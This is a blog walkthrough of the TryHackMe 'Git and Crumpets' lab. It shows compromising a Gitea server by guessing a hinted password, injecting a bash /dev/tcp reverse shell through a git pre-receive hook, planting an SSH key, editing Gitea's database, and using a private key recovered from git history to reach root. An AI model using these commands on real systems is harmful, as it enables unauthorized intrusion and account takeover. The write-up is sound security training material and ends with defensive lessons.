Featured image

Further Adventures in Version Control Link to heading

Version control is an extremely useful tool in the coder’s arsenal. Git has since emerged as the clear winner of the version control wars (until the next great thing comes around, programmers have the attention span of a ferret ;)). One of the cool things about git is it’s distributed nature, yet as we all know, actually sharing a repository with others is a pain. Several hosted services have since appeared. Github is the current leader in this foray, though Gitlab is growing fast, and has pionneered an impressive devops platform with integrated CI and artifact hosting. Microsoft has their Azure Devops platform as well, and there are many others.

One of the main issues is that almost all these platforms are cloud-hosted, meaning that some enterprises (especially non-software companies) are still a bit skeptical about letting their data leave their direct control. There are several self-hosted contenders on the market, though. Gitlab offers a self-hosted platform (with extras coming at cost, though the basic version is still solid). Another repository hosting server is Gitea; built in Go, it offers a lightweight alternative to some of it’s bigger brothers.

So for this TryHackMe room, I decided to take a look at what can happen if we don’t configure these things properly. Here’s the room proper: Git and Crumpets.

Enumerate All The Things! Link to heading

Our first step, as always is enumeration. The room description states that countermeasures have been deployed, so let’s not go too crazy on the settings. I like using Rustscan, as it can enumerate open ports much more quickly than nmap.

rustscan -a $TARGET_IP -- -sV -T2 -oN nmap-initial
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
šŸ˜µ https://admin.tryhackme.com

[~] The config file is expected to be at "/home/hydra/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-16 23:35 CEST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 23:35
Scanning [2 ports]
Completed Ping Scan at 23:35, 0.43s elapsed (1 total hosts)
Initiating Connect Scan at 23:35
Scanning git.git-and-crumpets.thm ( [2 ports]
Discovered open port 80/tcp on
Discovered open port 22/tcp on
Completed Connect Scan at 23:35, 0.83s elapsed (2 total ports)
Initiating Service scan at 23:35
Scanning 2 services on git.git-and-crumpets.thm (
Completed Service scan at 23:35, 6.13s elapsed (2 services on 1 host)
NSE: Script scanning
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:35
Completed NSE at 23:35, 0.37s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:35
Completed NSE at 23:35, 0.19s elapsed
Nmap scan report for git.git-and-crumpets.thm (
Host is up, received syn-ack (0.028s latency).
Scanned at 2021-04-16 23:35:26 CEST for 8s

22/tcp open  ssh     syn-ack OpenSSH 8.0 (protocol 2.0)
80/tcp open  http    syn-ack nginx

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.30 seconds

So we have http and ssh open. We don’t know any users for ssh, so lets take a look at HTTP.

Crawling the Web (Server) Link to heading

Now we can try opening this in firefox to see what we’re up against.

Oh dear, we’ve been rick-rolled

Oh what a conundrum we have! Well, not really. There are two ways we can try to figure out what’s going on here. Either we can use a proxy like Burp Suite or the OWASP Z Attack Proxy to intercept the response, or we can use a command-line tool such as curl or HTTPie. I’ll try with the latter

http -v http://$TARGET_IP
GET / HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: HTTPie/2.4.0

HTTP/1.1 301 Moved Permanently
Connection: keep-alive
Content-Length: 16216
Content-Type: text/html
Date: Fri, 16 Apr 2021 22:04:30 GMT
ETag: "60776205-3f58"
Location: https://youtu.be/dQw4w9WgXcQ
Server: nginx
<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Go away!</title>
      <h1>Nothing to see here, move along</h1>
        Hey guys,
           I set up the dev repos at git.git-and-crumpets.thm, but I haven't gotten around to setting up the DNS yet.
           In the meantime, here's a fun video I found!
<p>Never gonna give you up,
Never gonna let you down…

It’s always DNS. Link to heading

So we have a server set up but our admin buddy hasn’t had the chance to set up the domain name yet. All is not yet lost as we can do something about this!

We can set up local name resolution using the /etc/hosts file on Linux, or C:\Windows\System32\drivers\etc\hosts on Windows (I’m going to focus on Linux here and leave Windows as an exercise for you, dear reader). To add our host, we simply need to add a line to the hosts file in the following format:


So for this case I’d add

$TARGET_VM_IP git.git-and-crumpets.thm

Now we’re lazy and text editors are hard, so here’s a quick one-liner that should do the trick

echo "$TARGET_IP git.git-and-crumpets.thm" | sudo tee -a /etc/hosts

To undo the changes afterwards, use the following one-liner, which deletes the last line in the /etc/hosts file.

sudo sed -i '$d' /etc/hosts

This can probably be added as an alias or a function, but I digress.

What’s on the Secret Dev Server? Link to heading

So let’s take a look at the secret dev server (Ok we all knew it was there). Using the CLI again because the admin is a meanie, we get the following:

http -v http://git.git-and-crumpets.thm
GET / HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: git.git-and-crumpets.thm
User-Agent: HTTPie/2.4.0

HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Fri, 16 Apr 2021 22:29:24 GMT
Server: nginx
Set-Cookie: i_like_gitea=b65aa40dbc3c7f91; Path=/; HttpOnly
Set-Cookie: _csrf=K5adVs9xdDUbfLrwRmxdijm3eZc6MTYxODYxMjE2NDA1OTU1MDUxNQ; Path=/; Expires=Sat, 17 Apr 2021 22:29:24 GMT; HttpOnly; SameSite=Lax
Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
Transfer-Encoding: chunked
X-Frame-Options: SAMEORIGIN

I truncated the call because Hugo doesn’t like it, but I swear it’s HTML. Let’s take a look in firefox instead.

Git with Tea (and Crumpets). A Gitea Server

Ah this looks promising. Clicking around, it looks like we need a login to look around. Let’s create a user and see what we can find.

Register a new hacker user

Once we’ve registered our user, we can explore the site a bit.

We can see 2 public repos:

2 public repos: Hello Word, and Can’t Touch This

and a few users

5 users: hydra, root, scones, test, and ourselves

Let’s take a look at the repositories. Clicking around hydra’s Hello World repo, we can see that there isn’t much to see. Just a README, a LICENSE, and nothing in the commit history, and no branches either.

Hello World Repo Commit History: 1 initial commit.

Can’t Touch This Link to heading

So the other public repository on the server is provocative at best :), Let’s see what we can find.

Can’t Touch This Repo info: 4 commits, and a suspicious history

Already we see that there’s a bit more activity, and the last commit says simply “Delete Passwords File”. Hmmmm….

Clicking on the commit number (7a8cad8904), we see that the message is a bit more detailed, and that the passwords file was a ruse. Looking more closely at the commit message, we see:

I kept the password in my avatar to be more secure.

Not so secure if we can see it, eh? Let’s grab the avatar and see if we can’t find anything interesting.

wget http://git.git-and-crumpets.thm/avatars/3fc2cde6ac97e8c8a0c8b202e527d56d
--2021-04-17 21:56:03--  http://git.git-and-crumpets.thm/avatars/3fc2cde6ac97e8c8a0c8b202e527d56d
Resolving git.git-and-crumpets.thm (git.git-and-crumpets.thm)...
Connecting to git.git-and-crumpets.thm (git.git-and-crumpets.thm)||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [image/png]
Saving to: ā€˜3fc2cde6ac97e8c8a0c8b202e527d56dā€™

3fc2cde6ac97e8c8a0c8b202e527d56d                      [ <=>                                                                                                          ] 278.88K  --.-KB/s    in 0.1s

2021-04-17 21:56:04 (2.21 MB/s) - ā€˜3fc2cde6ac97e8c8a0c8b202e527d56dā€™ saved [285570]
exiftool 3fc2cde6ac97e8c8a0c8b202e527d56d
ExifTool Version Number         : 12.16
File Name                       : 3fc2cde6ac97e8c8a0c8b202e527d56d
Directory                       : .
File Size                       : 279 KiB
File Modification Date/Time     : 2021:04:15 18:13:00+02:00
File Access Date/Time           : 2021:04:17 21:56:04+02:00
File Inode Change Date/Time     : 2021:04:17 21:56:04+02:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 290
Image Height                    : 290
Bit Depth                       : 16
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Description                     : My '**********' should be easy enough to guess
Image Size                      : 290x290
Megapixels                      : 0.084

It looks like our friend scones here is taunting us. Let’s see if we can’t log into their account.

Hijacking Accounts For Fun and Profit. Link to heading

Let’s log out and see how the login system works in a bit more detail. Looking at our debugger, it seems that the login form sends a POST request to /user/login. A CSRF token is needed in order to properly log in, and the username and password are simply user_name and password respectively.

Login details

Snooping around the devtools, we can find a CSRF cookie with the same value as the one sent via the login. If we delete this cookie and revisit the site, a new one is generated for us. Ok one problem solved, now we can just plug this into hydra and let the fun begin, right? Go ahead, I’ll wait here.

You’re back already? Awesome! Did you get the password? What’s that? You got banned? Well, they did say there were countermeasures, guess you hit another one. This is what happens when we immediately reach for the bruteforcing tools and don’t think for a moment before manually trying things. We know that there’s a machine-wide IP ban after a certain number of incorrect guesses, over an unknown period, so we’d best be careful, eh?

Let’s look back at the description in the Exif data. See anything suspicious? The quotes jump out right away at me. Don’t tell me that his password is what we now think it may be…

I guess it is…

Welp, looks like our user scones is not the sharpest tool in the shed. But hey let’s see if we can abuse anything on their repo.

Looks the same to me…wait a minute, there are settings now!

Look closely, notice anything different from the last time we were here? Those who said that there’s a settings menu that wasn’t there before, you are correct! šŸŽ‰

First things first, I want to deface his repo, the taunting has got to end! Let’s try editing the README.md file, and committing the changes.

Ok that worked. Feels better now. Let’s snoop around the settings and see if there’s anything interesting.

This user has access to git hooks on his repo? Score!

It would seem that this user has access to modify git hooks on this repository. This is a good thing for us, and a bad thing for the server.

Hook, Line and Shell Link to heading

Ok let’s blow this server open by modifying one of these hooks and throwing a reverse shell back to our listener. Let’s start by opening the settings and selecting Git Hooks, then edit the pre-receive hook. We need to choose our reverse shell. I personally like the bash one, as it’s simple, and we’re already in a bash script. Let’s replace the exit 1 in the hook with the code to send a shell back to our machine.

/bin/bash -i >& /dev/tcp/ 0>&1

Hit the update button and the hook should be saved.

On our attacker machine, we need to set up a listener. While socat is nice, we probably don’t have the binary on the machine. (You’re welcome to try though, let me know how you did it in a writeup). Next best thing IMO is rlwrap around netcat. Let’s try this:

rlwrap -cAr nc -lvnp 4242

We need to trigger the hook, so let’s try modifying the readme once more. Aaaaaand Open?

Oh Connection Refused…


We can glean a few things here:

  1. We have RCE. (yay)
  2. The admin is a mean bastard and seems to have blocked off at least some outgoing ports.

Let’s see if we can ping our attack box. Comment out the reverse shell in the hook and add ping -c 1 (replacing with your real IP, of course). Add exit 1 to force the hook to fail. This way we’ll get an error message back.

Modifying the readme and attempting to commit once more gives us the following:

Ping reply seems good

So we haven’t blocked ALL outbound traffic, which makes me think that it’s just the port being blocked. (It is). So let’s try another port. You may use whatever you wish (except for 4242, at least), but I’ll try 4243.

Setting the hook back to

/bin/bash -i >& /dev/tcp/ 0>&1

and the listener to

rlwrap -cAr nc -lvnp 4243

Let’s see if we can get a shell.

We’re in!

Whoo! Let’s stabilize our shell with python3 -c 'import pty;pty.spawn("/bin/bash")' and grab the flag in the home directory and snoop around some more.

cd ~
ls -la
total 20
drwx------. 3 git  git  129 Apr 15 17:04 .
drwxr-xr-x. 4 root root  35 Apr 14 09:37 ..
lrwxrwxrwx. 1 git  git    9 Apr 15 17:04 .bash_history -> /dev/null
-rw-r--r--. 1 git  git   18 Jul 21  2020 .bash_logout
-rw-r--r--. 1 git  git  141 Jul 21  2020 .bash_profile
-rw-r--r--. 1 git  git  376 Jul 21  2020 .bashrc
-rw-r--r--. 1 git  git  162 Apr 14 09:56 .gitconfig
drwx------. 2 git  git   29 Apr 14 10:37 .ssh
-r--------. 1 git  git   53 Apr 15 16:53 user.txt
cat user.txt
cat user.txt | base64 -d

Git Happens Link to heading

So we have the git user, can we do anything with them?

sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for git:

As would be expected, we can’t use sudo with this user unless we find their password. Let’s see if the user owns anything interesting.

find / -xdev -user git 2> /dev/null

cd /var/lib/gitea
ls -la
total 4
drwxr-xr-x.  5 git  git    57 Apr 15 13:12 .
drwxr-xr-x. 27 root root 4096 Apr 15 11:32 ..
drwxr-x---.  2 git  git     6 Apr 14 09:46 custom
drwxr-x---. 11 git  git   170 Apr 17 23:37 data
lrwxrwxrwx.  1 git  git    15 Apr 15 13:12 log -> /var/log/gitea/
drwxr-xr-x.  7 git  git    89 Apr 14 18:09 public

I’m supposing that all the interesting stuff is in data.

cd data
ls -la
total 1280
drwxr-x---. 11 git git     170 Apr 17 23:37 .
drwxr-xr-x.  5 git git      57 Apr 15 13:12 ..
drwxr-xr-x.  2 git git       6 Apr 14 09:56 attachments
drwxr-xr-x.  3 git git     177 Apr 16 00:40 avatars
drwxr-xr-x.  5 git git      45 Apr 15 15:50 gitea-repositories
-rw-r--r--.  1 git git 1310720 Apr 17 23:35 gitea.db
drwxr-xr-x.  4 git git      46 Apr 14 09:56 indexers
drwxr-xr-x.  2 git git       6 Apr 14 09:56 lfs
drwxr-xr-x.  7 git git     114 Apr 14 09:56 queues
drwxr-xr-x.  2 git git       6 Apr 14 09:56 repo-avatars
drwx------. 12 git git      96 Apr 15 16:01 sessions
drwxr-xr-x.  3 git git      24 Apr 17 23:37 tmp

That DB file could be interesting. There’s also a repositories folder. Let’s take a looksee.

cd gitea-repositories
ls -la
total 0
drwxr-xr-x.  5 git git  45 Apr 15 15:50 .
drwxr-x---. 11 git git 170 Apr 17 23:37 ..
drwxr-xr-x.  3 git git  29 Apr 14 10:56 hydra
drwxr-xr-x.  3 git git  24 Apr 15 15:25 root
drwxr-xr-x.  3 git git  33 Apr 15 15:50 scones

It looks like that root user does have a repo afterall, let’s take a look.

cd root
ls -la
total 0
drwxr-xr-x. 3 git git  24 Apr 18 00:43 .
drwxr-xr-x. 5 git git  45 Apr 15 15:50 ..
drwxr-xr-x. 7 git git 119 Apr 15 15:25 backup.git
cp -r backup.git .git
git checkout master
fatal: not a git repository: '.'

Well, we tried :)

let’s try a few more things first.

git clone backup.git
Cloning into 'backup'...
fatal: ref updates forbidden inside quarantine environment
fatal: the remote end hung up unexpectedly

We seem to be in a sort of Quarantine Environment. Let’s check out the environment variables and see if we can’t abuse those a bit more.

[email protected]
[email protected]
LESSOPEN=||/usr/bin/lesspipe.sh %s
[email protected]

Let’s fiddle with these a bit

git clone backup.git
Cloning into 'backup'...
fatal: update_ref failed for ref 'HEAD': cannot update ref 'refs/heads/master': trying to write ref 'refs/heads/master' with nonexistent object 24dfc45079d019f6ea51843b8892b325221a951e
fatal: the remote end hung up unexpectedly

Looks like we won’t be getting at this the easy way. Fortunately, all is not lost! There are (at least) two ways to get access to this repo (and hoping it’s not just a rabbit hole, that would be sad). Let’s fork a bit!

1. SSH Abuse Link to heading

So the “easy” way is to abuse ssh a bit. we noticed a .ssh directory in the git user’s home. Let’s add our key and see if we can log in that way.

On our attacker box, we can generate an ssh key using ssh-keygen

Generating public/private RSA key pair.
Enter file in which to save the key (/home/hydra/.ssh/id_rsa): git
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in git
Your public key has been saved in git.pub
The key fingerprint is:
SHA256:aXqat92MWDEd0nuilIc7b+ydgKG/V8T/lv+voX4PinI hydra@Saturnus
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|           .     |
|          . o.   |
|         . = oo  |
|        S B =... |
|       o o O o. .|
|      . o *...o o|
|       +o=EB+=.=o|
|      o.o+**O.++O|

We can then add our public key to the git user’s authorized_keys

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9IOXkEvroRwQn5TGweT8FJU278pZ5ijOysoSbTKlfOGBs5hFgpk2PNz/uy8BPNLegGLaznAOs0xfOQxkb5FgITP4778Ix/aeqUzBwwcQQbZOp0Avpu2h9y+hPWfRn0zSMwAmNHfQPaqhtJ63qabvdiJJbh4/aaKV1YPiKu/LapCMuXInFxbupkJFsMRJVFCdsl964K0dzoZqxIJqXbl98+qG/zcFB7sJPWw3f0ccr0ZzPpl1JaITCUV940p11D+SkOFJL3BwYqLY29Z/2wVKC8cP0cyEX4VSh2bDGBbZUKIDTU6mNzj2oYbgI/2/0n1Rju603lIPPveFbuLbvltN9 git_key' >> ~/.ssh/authorized_keys

Using that key to login:

ssh git@$TARGET_IP -i git
Last login: Sat Apr 17 23:07:52 2021
[git@git-and-crumpets ~]$

Huzzah! “But how can we abuse this?” I hear you cry. Well, git can use ssh to connect to remote repositories. Normally it would use the default ssh key in your home directory to do this (if you added that public key then it’s fine, but if you’re following along, it may not work quite as well). There is a mechanism that we can abuse which is the ssh config file.

So now let’s set the host git.git-and-crumpets.thm to use our newly forged key.

Host git.git-and-crumpets.thm
  IdentityFile ~/thm/git-and-crumpets/git

Finally, let’s checkout this mysterious repository

git clone [email protected]:/var/lib/gitea/data/gitea-repositories/root/backup.git
Cloning into 'backup'...
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 11 (delta 1), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (11/11), done.
Resolving deltas: 100% (1/1), done.
cd backup
ls -la
total 16
drwxr-xr-x 3 hydra hydra 4096 Apr 18 01:14 ./
drwxr-xr-x 5 hydra hydra 4096 Apr 18 01:14 ../
drwxr-xr-x 8 hydra hydra 4096 Apr 18 01:14 .git/
-rw-r--r-- 1 hydra hydra   10 Apr 18 01:14 README.md
git log
commit 24dfc45079d019f6ea51843b8892b325221a951e (HEAD -> master, origin/master, origin/HEAD)
Author: groot 
Date:   Thu Apr 15 15:25:01 2021 +0200

    Initial commit

Well that’s disappointing. Before we go any further though, let’s look at the second way to get access to this repository.

2. Abusing Gitea’s Data Link to heading

We mentioned earlier that there was a gitea.db file that may or may not be interesting. As it so happens, this is gitea’s primary database on this machine.

The database is in the /var/lib/gitea/data folder let’s see if we can get into it locally

sqlite3 /var/lib/gitea/data/gitea.db
SQLite version 3.26.0 2018-12-01 12:34:55
Enter ".help" for usage hints.

Surprising Surprise!

Let’s snoop around a bit

access                     org_user
access_token               project
action                     project_board
attachment                 project_issue
collaboration              protected_branch
comment                    public_key
commit_status              pull_request
deleted_branch             reaction
deploy_key                 release
email_address              repo_indexer_status
email_hash                 repo_redirect
external_login_user        repo_topic
follow                     repo_transfer
gpg_key                    repo_unit
gpg_key_import             repository
hook_task                  review
issue                      session
issue_assignees            star
issue_dependency           stopwatch
issue_label                task
issue_user                 team
issue_watch                team_repo
label                      team_unit
language_stat              team_user
lfs_lock                   topic
lfs_meta_object            tracked_time
login_source               two_factor
milestone                  u2f_registration
mirror                     upload
notice                     user
notification               user_open_id
oauth2_application         user_redirect
oauth2_authorization_code  version
oauth2_grant               watch
oauth2_session             webhook
SELECT * FROM repository;
1|1|hydra|hello-world|hello-world|Hello World||0||master|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|23159|1|0|null|0||1618390571|1618491347
3|3|scones|cant-touch-this|cant-touch-this|Stop! Hammer time!||0||master|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|23712|1|0|null|0||1618494644|1618496989
SELECT sql FROM sqlite_master WHERE type='table' AND tbl_name='repository';
CREATE TABLE `repository` (`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, `owner_id` INTEGER NULL, `owner_name` TEXT NULL, `lower_name` TEXT NOT NULL, `name` TEXT NOT NULL, `description` TEXT NULL, `website` TEXT NULL, `original_service_type` INTEGER NULL, `original_url` TEXT NULL, `default_branch` TEXT NULL, `num_watches` INTEGER NULL, `num_stars` INTEGER NULL, `num_forks` INTEGER NULL, `num_issues` INTEGER NULL, `num_closed_issues` INTEGER NULL, `num_pulls` INTEGER NULL, `num_closed_pulls` INTEGER NULL, `num_milestones` INTEGER DEFAULT 0 NOT NULL, `num_closed_milestones` INTEGER DEFAULT 0 NOT NULL, `num_projects` INTEGER DEFAULT 0 NOT NULL, `num_closed_projects` INTEGER DEFAULT 0 NOT NULL, `is_private` INTEGER NULL, `is_empty` INTEGER NULL, `is_archived` INTEGER NULL, `is_mirror` INTEGER NULL, `status` INTEGER DEFAULT 0 NOT NULL, `is_fork` INTEGER DEFAULT 0 NOT NULL, `fork_id` INTEGER NULL, `is_template` INTEGER DEFAULT 0 NOT NULL, `template_id` INTEGER NULL, `size` INTEGER DEFAULT 0 NOT NULL, `is_fsck_enabled` INTEGER DEFAULT 1 NOT NULL, `close_issues_via_commit_in_any_branch` INTEGER DEFAULT 0 NOT NULL, `topics` TEXT NULL, `trust_model` INTEGER NULL, `avatar` TEXT NULL, `created_unix` INTEGER NULL, `updated_unix` INTEGER NULL)

There’s a lot to look into here, but the important part is that there’s a column called is_private, which seems to be set on the root user’s backup repo. Let’s see if we can fix that :)

UPDATE repository SET is_private=0 WHERE id=2;
SELECT * FROM repository;
1|1|hydra|hello-world|hello-world|Hello World||0||master|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|23159|1|0|null|0||1618390571|1618491347
3|3|scones|cant-touch-this|cant-touch-this|Stop! Hammer time!||0||master|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|24715|1|0|null|0||1618494644|1618702858

And the magic bit is now unset. Let’s take a look in the web interface:

Magically appearing repository

Groot’s Repository Link to heading

Backups are usually a good source of interesting things. If this repo really belongs to root, then it may offer us a way inside. Earlier we looked at the repository and saw nothing of great interest, but maybe there’s something else hiding in plain site. Let’s see if there are any other branches lying around. In the web interface, we can select a new branch from the dropdown, like so:

Branches: master and dotfiles

On the command line, we can use the git branch command

git branch -r
  origin/HEAD -> origin/master

I’ll be using the command line from now on, but we can also explore the web interface to get the same info.

Let’s checkout our mystery branch and see what’s inside.

git checkout dotfiles
Branch 'dotfiles' set up to track remote branch 'dotfiles' from 'origin'.
Switched to a new branch 'dotfiles'
git log
commit c242a466aa5d4ae0bb8206ef5d05351d3fd6aff9 (HEAD -> dotfiles, origin/dotfiles)
Author: groot 
Date:   Thu Apr 15 15:46:53 2021 +0200

    Add '.gitconfig'

commit 26f204ce3ccaa895317b2a6aeef2f04ca565a238
Author: groot 
Date:   Thu Apr 15 15:28:52 2021 +0200

    Delete file

    Probably shouldn't store this

commit 0b23539d97978fc83b763ef8a4b3882d16e71d32
Author: groot 
Date:   Thu Apr 15 15:27:52 2021 +0200

    Add '.ssh/Sup3rS3cur3'

commit 24dfc45079d019f6ea51843b8892b325221a951e (origin/master, origin/HEAD, master)
Author: groot 
Date:   Thu Apr 15 15:25:01 2021 +0200

    Initial commit

Hmmm… the .ssh/Sup3rS3cur3 file looks interesting, let’s see what it is!

git checkout 0b23539
Note: switching to '0b23539'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c 

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at 0b23539 Add '.ssh/Sup3rS3cur3'
cd .ssh
ls -la
total 12
drwxr-xr-x 2 hydra hydra 4096 Apr 18 11:35 ./
drwxr-xr-x 4 hydra hydra 4096 Apr 18 11:35 ../
-rw-r--r-- 1 hydra hydra 2654 Apr 18 11:35 Sup3rS3cur3
cat Sup3rS3cur3

Hello There

Let’s see if we can use this.

ssh root@$TARGET_IP -i Sup3rS3cur3
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:Tm4zUvVK5KsvOsFB2xvRHK4yg58piyOwURqB1Zr2tXI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Permissions 0644 for 'Sup3rS3cur3' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "Sup3rS3cur3": bad permissions
[email protected]'s password:


chmod 600 Sup3rS3cur3
ssh root@$TARGET_IP -i Sup3rS3cur3
Enter passphrase for key 'Sup3rS3cur3':

Oh darn.

Cracking the Code Link to heading

We could try to crack the passphrase with John the Ripper, though it may take a while…

/usr/share/john/ssh2john.py Sup3rS3cur3 > Sup3rS3cur3.hash
john --fork=4 --format=ssh -wordlist=/usr/share/wordlists/rockyou.txt Sup3rS3cur3.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Node numbers 1-4 of 4 (fork)
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status

At 7 guesses per second per thread I don’t think we’re going to go very far. Afer the regulation 5 minutes, I gave up and we’ll have to see if we can find some other hint, or maybe to generate our own wordlist.

We could create a custom wordlist, grabbing info from the site, the commits, variants of Password. To me though, the file name is a bit suspect. Why don’t we try using that as the password?

ssh root@$TARGET_IP -i Sup3rS3cur3
Enter passphrase for key 'Sup3rS3cur3':
Last login: Sat Apr 17 23:09:12 2021
[root@git-and-crumpets ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Shocked Pikachu

Welp let’s grab the flag and gtfo :)

ls -la
total 20
dr-xr-x---.  4 root root  149 Apr 17 23:11 .
dr-xr-xr-x. 17 root root  224 Apr 13 23:16 ..
-rw-------.  1 root root 1351 Apr 13 14:41 anaconda-ks.cfg
lrwxrwxrwx.  1 root root    9 Apr 15 17:02 .bash_history -> /dev/null
-rw-r--r--.  1 root root   18 May 11  2019 .bash_logout
-rw-r--r--.  1 root root  176 May 11  2019 .bash_profile
-rw-r--r--.  1 root root  176 May 11  2019 .bashrc
drwx------.  3 root root   20 Apr 16 00:32 .config
-r--------.  1 root root   53 Apr 15 16:55 root.txt
drwx------.  2 root root   61 Apr 15 15:37 .ssh
cat root.txt
cat root.txt | base64 -d

Final Thoughts Link to heading

I hope you guys enjoyed this little challenge and learned a few things from it :)

One of the biggest lessons here is that git hooks are extremely powerful, and extremely dangerous. If a user with access to create hooks on a repository is compromised, then the whole server can be compromised with it, including repositories thought to be private.

Now the user with access to the hooks had a very weak password. (It can be brute-forced quite handily, though anti-brute-forcing countermeasures are active on this server). Users should have a combination of strong passwords and multi-factor authentication enabled. Had this user had a 2FA token on the account, it would have been much more difficult to get inside.

It goes without saying that sensitive data should NEVER be stored in git. Data is extremely hard to remove in a git repository, oftentimes requiring special tools such as the BFG. Deleting a file from a git repository still leaves a trace.

That’s all for me, I’ll see you in the next challenge!